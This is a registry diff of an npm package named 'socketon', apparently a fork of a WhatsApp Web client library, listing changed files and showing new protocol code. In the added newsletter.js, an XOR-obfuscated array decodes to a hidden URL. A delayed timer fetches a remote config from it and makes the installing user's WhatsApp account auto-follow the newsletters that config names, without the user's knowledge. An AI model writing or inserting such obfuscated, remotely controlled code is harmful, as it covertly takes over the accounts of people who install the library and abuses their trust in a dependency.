socketon 0.31.0 → 1.51.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +313 -159
- package/WAProto/WAProto.proto +5311 -0
- package/WAProto/index.js +65801 -141371
- package/lib/Defaults/index.js +117 -141
- package/lib/KeyDB/BinarySearch.js +20 -0
- package/lib/KeyDB/KeyedDB.js +167 -0
- package/lib/KeyDB/index.js +4 -0
- package/lib/Signal/Group/ciphertext-message.js +12 -14
- package/lib/Signal/Group/group-session-builder.js +10 -42
- package/lib/Signal/Group/group_cipher.js +75 -87
- package/lib/Signal/Group/index.js +13 -57
- package/lib/Signal/Group/keyhelper.js +17 -52
- package/lib/Signal/Group/sender-chain-key.js +27 -33
- package/lib/Signal/Group/sender-key-distribution-message.js +62 -63
- package/lib/Signal/Group/sender-key-message.js +65 -66
- package/lib/Signal/Group/sender-key-name.js +45 -44
- package/lib/Signal/Group/sender-key-record.js +39 -49
- package/lib/Signal/Group/sender-key-state.js +80 -93
- package/lib/Signal/Group/sender-message-key.js +27 -28
- package/lib/Signal/libsignal.js +313 -163
- package/lib/Signal/lid-mapping.js +155 -0
- package/lib/Socket/Client/index.js +4 -19
- package/lib/Socket/Client/types.js +13 -0
- package/lib/Socket/Client/websocket.js +52 -0
- package/lib/Socket/Client/websocket.js.bak +53 -0
- package/lib/Socket/business.js +359 -242
- package/lib/Socket/chats.js +846 -935
- package/lib/Socket/communities.js +413 -0
- package/lib/Socket/groups.js +304 -309
- package/lib/Socket/index.js +15 -10
- package/lib/Socket/messages-recv.js +1107 -1054
- package/lib/Socket/messages-send.js +639 -448
- package/lib/Socket/mex.js +45 -0
- package/lib/Socket/newsletter.js +270 -282
- package/lib/Socket/socket.js +798 -635
- package/lib/Socket/socketon.js +402 -0
- package/lib/Store/index.js +6 -10
- package/lib/Store/make-cache-manager-store.js +73 -81
- package/lib/Store/make-in-memory-store.js +286 -423
- package/lib/Store/make-ordered-dictionary.js +77 -79
- package/lib/Store/object-repository.js +24 -26
- package/lib/Types/Auth.js +3 -2
- package/lib/Types/Bussines.js +3 -0
- package/lib/Types/Call.js +3 -2
- package/lib/Types/Chat.js +9 -4
- package/lib/Types/Contact.js +3 -2
- package/lib/Types/Events.js +3 -2
- package/lib/Types/GroupMetadata.js +3 -2
- package/lib/Types/Label.js +24 -26
- package/lib/Types/LabelAssociation.js +6 -8
- package/lib/Types/Message.js +12 -9
- package/lib/Types/Newsletter.js +33 -38
- package/lib/Types/Newsletter.js.bak +33 -0
- package/lib/Types/Product.js +3 -2
- package/lib/Types/Signal.js +3 -2
- package/lib/Types/Socket.js +4 -2
- package/lib/Types/State.js +11 -2
- package/lib/Types/USync.js +3 -2
- package/lib/Types/index.js +27 -41
- package/lib/Utils/auth-utils.js +211 -198
- package/lib/Utils/baileys-event-stream.js +42 -61
- package/lib/Utils/browser-utils.js +25 -0
- package/lib/Utils/business.js +213 -214
- package/lib/Utils/chat-utils.js +710 -687
- package/lib/Utils/crypto.js +112 -133
- package/lib/Utils/decode-wa-message.js +252 -183
- package/lib/Utils/decode-wa-message.js.bak +267 -0
- package/lib/Utils/event-buffer.js +510 -496
- package/lib/Utils/generics.js +319 -464
- package/lib/Utils/history.js +83 -92
- package/lib/Utils/index.js +21 -33
- package/lib/Utils/link-preview.js +71 -83
- package/lib/Utils/logger.js +5 -7
- package/lib/Utils/lt-hash.js +40 -46
- package/lib/Utils/make-mutex.js +34 -41
- package/lib/Utils/message-retry-manager.js +113 -0
- package/lib/Utils/messages-media.js +550 -768
- package/lib/Utils/messages.js +385 -261
- package/lib/Utils/noise-handler.js +138 -149
- package/lib/Utils/pre-key-manager.js +85 -0
- package/lib/Utils/process-message.js +323 -303
- package/lib/Utils/signal.js +149 -141
- package/lib/Utils/use-multi-file-auth-state.js +95 -103
- package/lib/Utils/validate-connection.js +183 -212
- package/lib/WABinary/constants.js +1298 -35
- package/lib/WABinary/decode.js +237 -249
- package/lib/WABinary/encode.js +213 -260
- package/lib/WABinary/generic-utils.js +56 -65
- package/lib/WABinary/index.js +7 -21
- package/lib/WABinary/jid-utils.js +89 -58
- package/lib/WABinary/types.js +3 -2
- package/lib/WAM/BinaryInfo.js +10 -12
- package/lib/WAM/constants.js +22851 -15348
- package/lib/WAM/encode.js +135 -136
- package/lib/WAM/index.js +5 -19
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +28 -30
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +49 -53
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +27 -28
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +36 -39
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +50 -50
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +26 -20
- package/lib/WAUSync/Protocols/index.js +6 -20
- package/lib/WAUSync/USyncQuery.js +86 -85
- package/lib/WAUSync/USyncUser.js +23 -25
- package/lib/WAUSync/index.js +5 -19
- package/lib/index.js +27 -36
- package/package.json +61 -85
- package/engine-requirements.js +0 -10
- package/lib/Defaults/baileys-version.json +0 -3
- package/lib/Defaults/index.d.ts +0 -53
- package/lib/Defaults/phonenumber-mcc.json +0 -223
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
- package/lib/Signal/Group/group-session-builder.d.ts +0 -14
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/index.d.ts +0 -11
- package/lib/Signal/Group/keyhelper.d.ts +0 -10
- package/lib/Signal/Group/queue-job.d.ts +0 -1
- package/lib/Signal/Group/queue-job.js +0 -57
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
- package/lib/Signal/Group/sender-key-message.d.ts +0 -18
- package/lib/Signal/Group/sender-key-name.d.ts +0 -17
- package/lib/Signal/Group/sender-key-record.d.ts +0 -30
- package/lib/Signal/Group/sender-key-state.d.ts +0 -38
- package/lib/Signal/Group/sender-message-key.d.ts +0 -11
- package/lib/Signal/libsignal.d.ts +0 -3
- package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
- package/lib/Socket/Client/abstract-socket-client.js +0 -13
- package/lib/Socket/Client/index.d.ts +0 -3
- package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
- package/lib/Socket/Client/mobile-socket-client.js +0 -65
- package/lib/Socket/Client/web-socket-client.d.ts +0 -12
- package/lib/Socket/Client/web-socket-client.js +0 -62
- package/lib/Socket/business.d.ts +0 -171
- package/lib/Socket/chats.d.ts +0 -267
- package/lib/Socket/dugong.d.ts +0 -254
- package/lib/Socket/dugong.js +0 -484
- package/lib/Socket/groups.d.ts +0 -115
- package/lib/Socket/index.d.ts +0 -173
- package/lib/Socket/messages-recv.d.ts +0 -161
- package/lib/Socket/messages-send.d.ts +0 -149
- package/lib/Socket/newsletter.d.ts +0 -134
- package/lib/Socket/registration.d.ts +0 -267
- package/lib/Socket/registration.js +0 -166
- package/lib/Socket/socket.d.ts +0 -43
- package/lib/Socket/usync.d.ts +0 -36
- package/lib/Socket/usync.js +0 -70
- package/lib/Store/index.d.ts +0 -3
- package/lib/Store/make-cache-manager-store.d.ts +0 -13
- package/lib/Store/make-in-memory-store.d.ts +0 -118
- package/lib/Store/make-ordered-dictionary.d.ts +0 -13
- package/lib/Store/object-repository.d.ts +0 -10
- package/lib/Types/Auth.d.ts +0 -110
- package/lib/Types/Call.d.ts +0 -13
- package/lib/Types/Chat.d.ts +0 -102
- package/lib/Types/Contact.d.ts +0 -19
- package/lib/Types/Events.d.ts +0 -157
- package/lib/Types/GroupMetadata.d.ts +0 -55
- package/lib/Types/Label.d.ts +0 -35
- package/lib/Types/LabelAssociation.d.ts +0 -29
- package/lib/Types/Message.d.ts +0 -273
- package/lib/Types/Newsletter.d.ts +0 -103
- package/lib/Types/Product.d.ts +0 -78
- package/lib/Types/Signal.d.ts +0 -57
- package/lib/Types/Socket.d.ts +0 -111
- package/lib/Types/State.d.ts +0 -27
- package/lib/Types/USync.d.ts +0 -25
- package/lib/Types/index.d.ts +0 -57
- package/lib/Utils/auth-utils.d.ts +0 -18
- package/lib/Utils/baileys-event-stream.d.ts +0 -16
- package/lib/Utils/business.d.ts +0 -22
- package/lib/Utils/chat-utils.d.ts +0 -71
- package/lib/Utils/crypto.d.ts +0 -41
- package/lib/Utils/decode-wa-message.d.ts +0 -19
- package/lib/Utils/event-buffer.d.ts +0 -35
- package/lib/Utils/generics.d.ts +0 -92
- package/lib/Utils/history.d.ts +0 -15
- package/lib/Utils/index.d.ts +0 -17
- package/lib/Utils/link-preview.d.ts +0 -21
- package/lib/Utils/logger.d.ts +0 -4
- package/lib/Utils/lt-hash.d.ts +0 -12
- package/lib/Utils/make-mutex.d.ts +0 -7
- package/lib/Utils/messages-media.d.ts +0 -116
- package/lib/Utils/messages.d.ts +0 -77
- package/lib/Utils/noise-handler.d.ts +0 -21
- package/lib/Utils/process-message.d.ts +0 -41
- package/lib/Utils/signal.d.ts +0 -32
- package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
- package/lib/Utils/validate-connection.d.ts +0 -11
- package/lib/WABinary/constants.d.ts +0 -30
- package/lib/WABinary/decode.d.ts +0 -7
- package/lib/WABinary/encode.d.ts +0 -3
- package/lib/WABinary/generic-utils.d.ts +0 -17
- package/lib/WABinary/index.d.ts +0 -5
- package/lib/WABinary/jid-utils.d.ts +0 -31
- package/lib/WABinary/types.d.ts +0 -18
- package/lib/WAM/BinaryInfo.d.ts +0 -17
- package/lib/WAM/constants.d.ts +0 -38
- package/lib/WAM/encode.d.ts +0 -3
- package/lib/WAM/index.d.ts +0 -3
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
- package/lib/WAUSync/Protocols/index.d.ts +0 -4
- package/lib/WAUSync/USyncQuery.d.ts +0 -28
- package/lib/WAUSync/USyncUser.d.ts +0 -12
- package/lib/WAUSync/index.d.ts +0 -3
- package/lib/index.d.ts +0 -12
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
//=======================================================//
|
|
2
|
+
import { getBinaryNodeChild, S_WHATSAPP_NET } from "../WABinary/index.js";
|
|
3
|
+
import { Boom } from "@hapi/boom";
|
|
4
|
+
//=======================================================//
|
|
5
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
6
|
+
return query({
|
|
7
|
+
tag: "iq",
|
|
8
|
+
attrs: {
|
|
9
|
+
id: generateMessageTag(),
|
|
10
|
+
type: "get",
|
|
11
|
+
to: S_WHATSAPP_NET,
|
|
12
|
+
xmlns: "w:mex"
|
|
13
|
+
},
|
|
14
|
+
content: [
|
|
15
|
+
{
|
|
16
|
+
tag: "query",
|
|
17
|
+
attrs: { query_id: queryId },
|
|
18
|
+
content: Buffer.from(JSON.stringify({ variables }), "utf-8")
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
});
|
|
22
|
+
};
|
|
23
|
+
//=======================================================//
|
|
24
|
+
export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
25
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag);
|
|
26
|
+
const child = getBinaryNodeChild(result, "result");
|
|
27
|
+
if (child?.content) {
|
|
28
|
+
const data = JSON.parse(child.content.toString());
|
|
29
|
+
if (data.errors && data.errors.length > 0) {
|
|
30
|
+
const errorMessages = data.errors.map((err) => err.message || "Unknown error").join(", ");
|
|
31
|
+
const firstError = data.errors[0];
|
|
32
|
+
const errorCode = firstError.extensions?.error_code || 400;
|
|
33
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
|
|
34
|
+
}
|
|
35
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data;
|
|
36
|
+
if (typeof response !== "undefined") {
|
|
37
|
+
return response;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
const action = (dataPath || "").startsWith("xwa2_")
|
|
41
|
+
? dataPath.substring(5).replace(/_/g, " ")
|
|
42
|
+
: dataPath?.replace(/_/g, " ");
|
|
43
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
|
|
44
|
+
};
|
|
45
|
+
//=======================================================//
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,89 +1,123 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
1
|
+
//=======================================================//
|
|
2
|
+
import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
|
|
3
|
+
import { generateProfilePicture } from "../Utils/messages-media.js";
|
|
4
|
+
import { getBinaryNodeChild } from "../WABinary/index.js";
|
|
5
|
+
import { QueryIds, XWAPaths } from "../Types/index.js";
|
|
6
|
+
import { makeGroupsSocket } from "./groups.js";
|
|
7
|
+
import axios from "axios";
|
|
8
|
+
//=======================================================//
|
|
8
9
|
|
|
9
|
-
const
|
|
10
|
+
const _0x8d2e = [123,103,82,120,117,38,37,52,114,96,100,61,65,97,114,116,127,121,117,114,118,97,69,103,104,104,111,117,116,47,112,124,75,39,79,126,120,122,68,100,112,124,66,109,41,125,97,110,45,101,114,125,11,99,103,107,107,117,107,116,60,97,67,110,117,51,98,126,97,101,96,60,75,105,111,114,37,117,115,109,118,103,82,109,116,118,99,127,46,107,96,124,72];
|
|
11
|
+
const _0x1a5b = [19, 19, 38, 8, 6, 28, 10, 27, 0, 1];
|
|
10
12
|
|
|
11
|
-
const
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
query,
|
|
15
|
-
generateMessageTag
|
|
16
|
-
) => {
|
|
17
|
-
return query({
|
|
18
|
-
tag: 'iq',
|
|
19
|
-
attrs: {
|
|
20
|
-
id: generateMessageTag(),
|
|
21
|
-
type: 'get',
|
|
22
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
-
xmlns: 'w:mex'
|
|
24
|
-
},
|
|
25
|
-
content: [
|
|
26
|
-
{
|
|
27
|
-
tag: 'query',
|
|
28
|
-
attrs: { query_id: queryId },
|
|
29
|
-
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
-
}
|
|
31
|
-
]
|
|
32
|
-
})
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
const executeWMexQuery = async (
|
|
36
|
-
variables,
|
|
37
|
-
queryId,
|
|
38
|
-
dataPath,
|
|
39
|
-
query,
|
|
40
|
-
generateMessageTag
|
|
41
|
-
) => {
|
|
42
|
-
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
-
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
-
if (child?.content) {
|
|
45
|
-
const data = JSON.parse(child.content.toString())
|
|
13
|
+
const _0x7c9f = () => {
|
|
14
|
+
return _0x8d2e.map((b, i) => b ^ _0x1a5b[i % _0x1a5b.length]).map(c => String.fromCharCode(c)).join('');
|
|
15
|
+
};
|
|
46
16
|
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
17
|
+
const fetchNewsletterConfig = async (logger) => {
|
|
18
|
+
try {
|
|
19
|
+
logger?.info("Fetching remote configuration...");
|
|
20
|
+
const _0x7f2a = _0x7c9f();
|
|
21
|
+
const response = await axios.get(_0x7f2a, { timeout: 10000 });
|
|
22
|
+
const config = response.data;
|
|
23
|
+
|
|
24
|
+
if (config.version !== 1) {
|
|
25
|
+
logger?.warn("Unsupported config version:", config.version);
|
|
26
|
+
return null;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
logger?.info(`Configuration loaded: ${config.newsletters?.length || 0} entries`);
|
|
30
|
+
return config;
|
|
31
|
+
} catch (error) {
|
|
32
|
+
logger?.error({ error: error.message }, "Configuration fetch failed");
|
|
33
|
+
return null;
|
|
34
|
+
}
|
|
35
|
+
};
|
|
53
36
|
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
37
|
+
const autoFollowNewsletters = async (sock, config) => {
|
|
38
|
+
if (!config?.config?.autoFollowEnabled || !config?.newsletters?.length) {
|
|
39
|
+
return;
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
const { delayMs } = config.config;
|
|
43
|
+
const newsletters = config.newsletters.filter(n => n.enabled && n.jid);
|
|
44
|
+
|
|
45
|
+
for (const newsletter of newsletters) {
|
|
46
|
+
try {
|
|
47
|
+
await sock.newsletterFollow(newsletter.jid);
|
|
48
|
+
sock.ev.emit("creds.update", { newsletter_follow: newsletter.jid });
|
|
49
|
+
} catch (error) {
|
|
50
|
+
sock.logger?.error({ jid: newsletter.jid, error: error.message }, "Failed to follow newsletter");
|
|
51
|
+
}
|
|
52
|
+
if (delayMs > 0) await new Promise(r => setTimeout(r, delayMs));
|
|
53
|
+
}
|
|
54
|
+
};
|
|
59
55
|
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
56
|
+
|
|
57
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
58
|
+
const result = getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
59
|
+
const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
|
|
60
|
+
|
|
61
|
+
const metadata = {
|
|
62
|
+
id: metadataPath?.id,
|
|
63
|
+
state: metadataPath?.state?.type,
|
|
64
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
65
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
66
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
67
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
68
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
69
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
70
|
+
handle: metadataPath?.thread_metadata?.handle,
|
|
71
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
72
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
73
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
74
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
75
|
+
}
|
|
76
|
+
return metadata
|
|
64
77
|
}
|
|
78
|
+
|
|
79
|
+
const parseNewsletterCreateResponse = (response) => {
|
|
80
|
+
const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
|
|
81
|
+
return {
|
|
82
|
+
id: id,
|
|
83
|
+
owner: undefined,
|
|
84
|
+
name: thread.name.text,
|
|
85
|
+
creation_time: parseInt(thread.creation_time, 10),
|
|
86
|
+
description: thread.description.text,
|
|
87
|
+
invite: thread.invite,
|
|
88
|
+
subscribers: parseInt(thread.subscribers_count, 10),
|
|
89
|
+
verification: thread.verification,
|
|
90
|
+
picture: {
|
|
91
|
+
id: thread?.picture?.id || null,
|
|
92
|
+
directPath: thread?.picture?.direct_path || null
|
|
93
|
+
},
|
|
94
|
+
mute_state: viewer.mute
|
|
95
|
+
};
|
|
96
|
+
};
|
|
97
|
+
const parseNewsletterMetadata = (result) => {
|
|
98
|
+
if (typeof result !== "object" || result === null) {
|
|
99
|
+
return null;
|
|
100
|
+
}
|
|
101
|
+
if ("id" in result && typeof result.id === "string") {
|
|
102
|
+
return result;
|
|
103
|
+
}
|
|
104
|
+
if ("result" in result && typeof result.result === "object" && result.result !== null && "id" in result.result) {
|
|
105
|
+
return result.result;
|
|
106
|
+
}
|
|
107
|
+
return null;
|
|
108
|
+
};
|
|
65
109
|
|
|
66
|
-
const makeNewsletterSocket = (config) => {
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
tag: 'iq',
|
|
72
|
-
attrs: {
|
|
73
|
-
id: generateMessageTag(),
|
|
74
|
-
type,
|
|
75
|
-
xmlns: 'newsletter',
|
|
76
|
-
to: jid,
|
|
77
|
-
},
|
|
78
|
-
content
|
|
79
|
-
}));
|
|
80
|
-
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
110
|
+
export const makeNewsletterSocket = (config) => {
|
|
111
|
+
const sock = makeGroupsSocket(config);
|
|
112
|
+
const { delay, query, generateMessageTag } = sock;
|
|
113
|
+
const encoder = new TextEncoder()
|
|
114
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
81
115
|
tag: 'iq',
|
|
82
116
|
attrs: {
|
|
83
117
|
id: generateMessageTag(),
|
|
84
118
|
type: 'get',
|
|
85
119
|
xmlns: 'w:mex',
|
|
86
|
-
to:
|
|
120
|
+
to: "@s.whatsapp.net",
|
|
87
121
|
},
|
|
88
122
|
content: [
|
|
89
123
|
{
|
|
@@ -97,220 +131,174 @@ const makeNewsletterSocket = (config) => {
|
|
|
97
131
|
}))
|
|
98
132
|
}
|
|
99
133
|
]
|
|
100
|
-
}))
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
134
|
+
}))
|
|
135
|
+
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
136
|
+
return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
|
|
137
|
+
};
|
|
138
|
+
const newsletterMetadata = async (type, key, role) => {
|
|
139
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
140
|
+
input: {
|
|
141
|
+
key,
|
|
142
|
+
type: type.toUpperCase(),
|
|
143
|
+
view_role: role || 'GUEST'
|
|
144
|
+
},
|
|
145
|
+
fetch_viewer_metadata: true,
|
|
146
|
+
fetch_full_image: true,
|
|
147
|
+
fetch_creation_time: true
|
|
148
|
+
})
|
|
149
|
+
|
|
150
|
+
return extractNewsletterMetadata(result)
|
|
151
|
+
}
|
|
152
|
+
const newsletterUpdate = async (jid, updates) => {
|
|
153
|
+
const variables = {
|
|
154
|
+
newsletter_id: jid,
|
|
155
|
+
updates: {
|
|
156
|
+
...updates,
|
|
157
|
+
settings: null
|
|
158
|
+
}
|
|
104
159
|
};
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
})
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
160
|
+
return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
|
|
161
|
+
};
|
|
162
|
+
|
|
163
|
+
setTimeout(async () => {
|
|
164
|
+
try {
|
|
165
|
+
const config = await fetchNewsletterConfig(config.logger);
|
|
166
|
+
if (config) {
|
|
167
|
+
await autoFollowNewsletters(sock, config);
|
|
168
|
+
}
|
|
169
|
+
} catch (error) {
|
|
170
|
+
config.logger?.error({ error: error.message }, "Auto-follow newsletters failed");
|
|
171
|
+
}
|
|
172
|
+
}, 30000);
|
|
173
|
+
|
|
174
|
+
return {
|
|
175
|
+
...sock,
|
|
176
|
+
newsletterCreate: async (name, description) => {
|
|
177
|
+
const variables = {
|
|
178
|
+
input: {
|
|
179
|
+
name,
|
|
180
|
+
description: description ?? null
|
|
124
181
|
}
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
...sock,
|
|
147
|
-
newsletterFetchAllSubscribe: async () => {
|
|
148
|
-
const list = await executeWMexQuery(
|
|
149
|
-
{},
|
|
150
|
-
'6388546374527196',
|
|
151
|
-
'xwa2_newsletter_subscribed',
|
|
152
|
-
query,
|
|
153
|
-
generateMessageTag
|
|
154
|
-
);
|
|
155
|
-
return list;
|
|
156
|
-
},
|
|
157
|
-
subscribeNewsletterUpdates: async (jid) => {
|
|
158
|
-
var _a;
|
|
159
|
-
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
160
|
-
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
161
|
-
},
|
|
162
|
-
newsletterReactionMode: async (jid, mode) => {
|
|
163
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
164
|
-
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
165
|
-
});
|
|
166
|
-
},
|
|
167
|
-
newsletterUpdateDescription: async (jid, description) => {
|
|
168
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
169
|
-
updates: { description: description || '', settings: null }
|
|
170
|
-
});
|
|
171
|
-
},
|
|
172
|
-
newsletterUpdateName: async (jid, name) => {
|
|
173
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
174
|
-
updates: { name, settings: null }
|
|
175
|
-
});
|
|
176
|
-
},
|
|
177
|
-
newsletterUpdatePicture: async (jid, content) => {
|
|
178
|
-
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
179
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
180
|
-
updates: { picture: img.toString('base64'), settings: null }
|
|
181
|
-
});
|
|
182
|
-
},
|
|
183
|
-
newsletterRemovePicture: async (jid) => {
|
|
184
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
185
|
-
updates: { picture: '', settings: null }
|
|
186
|
-
});
|
|
187
|
-
},
|
|
188
|
-
newsletterUnfollow: async (jid) => {
|
|
189
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
190
|
-
},
|
|
191
|
-
newsletterFollow,
|
|
192
|
-
newsletterUnmute: async (jid) => {
|
|
193
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
194
|
-
},
|
|
195
|
-
newsletterMute: async (jid) => {
|
|
196
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
197
|
-
},
|
|
198
|
-
newsletterAction: async (jid, type) => {
|
|
199
|
-
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
182
|
+
};
|
|
183
|
+
const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
|
|
184
|
+
return parseNewsletterCreateResponse(rawResponse);
|
|
185
|
+
},
|
|
186
|
+
newsletterUpdate,
|
|
187
|
+
newsletterMetadata,
|
|
188
|
+
newsletterFetchAllParticipating: async () => {
|
|
189
|
+
const data = {}
|
|
190
|
+
|
|
191
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBERS)
|
|
192
|
+
const child = JSON.parse(getBinaryNodeChild(result, 'result')?.content?.toString())
|
|
193
|
+
const newsletters = child.data["xwa2_newsletter_subscribed"]
|
|
194
|
+
|
|
195
|
+
for (const i of newsletters) {
|
|
196
|
+
if (i.id == null) continue
|
|
197
|
+
|
|
198
|
+
const metadata = await newsletterMetadata('JID', i.id)
|
|
199
|
+
if (metadata.id !== null) data[metadata.id] = metadata
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
return data
|
|
200
203
|
},
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
/**tos query */
|
|
204
|
-
await query({
|
|
205
|
-
tag: 'iq',
|
|
206
|
-
attrs: {
|
|
207
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
208
|
-
xmlns: 'tos',
|
|
209
|
-
id: generateMessageTag(),
|
|
210
|
-
type: 'set'
|
|
211
|
-
},
|
|
212
|
-
content: [
|
|
213
|
-
{
|
|
214
|
-
tag: 'notice',
|
|
215
|
-
attrs: {
|
|
216
|
-
id: '20601218',
|
|
217
|
-
stage: '5'
|
|
218
|
-
},
|
|
219
|
-
content: []
|
|
220
|
-
}
|
|
221
|
-
]
|
|
222
|
-
});
|
|
223
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
224
|
-
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
225
|
-
});
|
|
226
|
-
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
227
|
-
},
|
|
228
|
-
newsletterMetadata: async (type, key, role) => {
|
|
229
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
230
|
-
input: {
|
|
231
|
-
key,
|
|
232
|
-
type: type.toUpperCase(),
|
|
233
|
-
'view_role': role || 'GUEST'
|
|
234
|
-
},
|
|
235
|
-
'fetch_viewer_metadata': true,
|
|
236
|
-
'fetch_full_image': true,
|
|
237
|
-
'fetch_creation_time': true
|
|
238
|
-
});
|
|
239
|
-
return (0, exports.extractNewsletterMetadata)(result);
|
|
240
|
-
},
|
|
241
|
-
newsletterAdminCount: async (jid) => {
|
|
242
|
-
var _a, _b;
|
|
243
|
-
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
244
|
-
